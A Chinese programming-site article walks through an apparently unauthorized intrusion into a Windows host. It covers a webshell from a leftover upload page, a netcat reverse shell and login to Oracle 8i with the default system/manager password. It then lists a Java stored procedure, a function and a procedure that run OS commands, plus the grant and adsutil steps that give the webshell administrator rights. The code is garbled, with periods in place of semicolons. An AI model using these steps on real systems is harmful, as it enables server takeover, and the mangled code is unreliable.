程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> Oracle數據庫 >> Oracle數據庫基礎 >> 通過oracle默認賬戶提升權限的實現方法

通過oracle默認賬戶提升權限的實現方法

編輯:Oracle數據庫基礎

在Oracle數據庫中,通過Oracle默認賬戶也是可以提升訪問權限的,下文就為您介紹一個通過Oracle默認賬戶提升權限的例子,希望可以讓您對數據庫安全性方面有所啟迪:

近日,偶到一主機上逛了一圈。主機的配置還算是安全,偏偏一個比較隱藏的目錄下殘留了upfile.ASP,結果輕輕松松的得到了webshell。

接著在主機上逛了逛,拿出superscan從外面掃了下,只開放了80端口。從user\程序目錄裡,發現有一快捷方式:firecontrol,好象是某款硬件防火牆的控制台。WEBSHELL下檢測了下開放的服務,發現一般的可提權的方法都不可行,無SERV-U等等,主機的補丁也是打到了最新。試了下傳了個NC上去,反連接得到一SHELL,這下比在老兵的管理器裡舒服多了。

在C盤下看到一個目錄oracle,看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件,確定了主機的服務名“xxx”,看了下版本“Oracle 8i”,用數據庫連接器 Provider=MSDAORA.1.PassWord=manager.User ID=system.DataSource=xxxx試了下默認的system賬戶,密碼manager,結果真的就連接到了本地的Oracle服務。

這下好了,Oracle默認賬戶就像是mssql下的sa,我們來通過他來提升權限,馬上編輯了幾個腳本。

1.

  1. sql create or replace and compilejava source named "Util"asimport Java.io.*.  
  2. import Java.lang.*.   
  3. public class Util extends Object{public static int RunThis(String args)  
  4. {  
  5. Runtime rt = Runtime.getRuntime().  
  6. int rc = -1.   
  7. try{Process p = rt.exec(args).  
  8. int bufSize = 4096.  
  9. BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize).  
  10. int len.byte buffer[] = new byte[bufSize].  
  11. // Echo back what the program spit out  
  12. while ((len = bis.read(buffer, 0, bufSize)) != -1)  
  13. System.out.write(buffer, 0, len).   
  14. rc = p.waitFor().  
  15. }  
  16. catch (Exception e)  
  17. {  
  18. e.printStackTrace().  
  19. rc = -1.  
  20. }  
  21. finally{return rc.  
  22. }  
  23. }  
  24. }  
  25.  

2.

  1. sql create or replacefunction RUN_CMD(p_cmd in varchar2)  
  2. return numberaslanguage javaname Util.RunThis(Java.lang.String)   
  3. return integer. 

3.

  1. sql create or replace procedure RC(p_cmd in varchar2)asx number.  
  2. beginx :run_cmd(p_cmd).  
  3. end. 

保存在c:\下,然後用反連接得到的shell運行 sqlplus system/manager@xxx然後再來執行腳本 SQL>@C:\1.sqlSQL>@C:\2.sqlSQL>@C:\3.sql看到JAVA已創建、函數已創建、過程已創建,接著我們繼續 SQL> variable x number.SQL> set serveroutput onSQL> exec dbms_java.set_output(100000).SQL>grant Javasyspriv to system看到授權成功。

接著我們就可以來執行系統命令了。我想先把ASP.dll加入特權一組 SQL>exec :x := RUN_CMD(cscript adsutil.vbs set /W3SVC/InProcessIsapiAPPS "c:\winnt\system32\inetsrv\ASP.dll" ).看到過程已經成功完成,這個時候我們重新登陸我們的webshell,他已經具有admin權限了。接著,再用NC返回一個shell,已經是管理權限的,我們可以做我們想干的事了。因為這個主機有防火牆過濾除80以外的端口,所以不好做圖形的後門,只有留下一有權限的webshell。到此已經提權成功。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved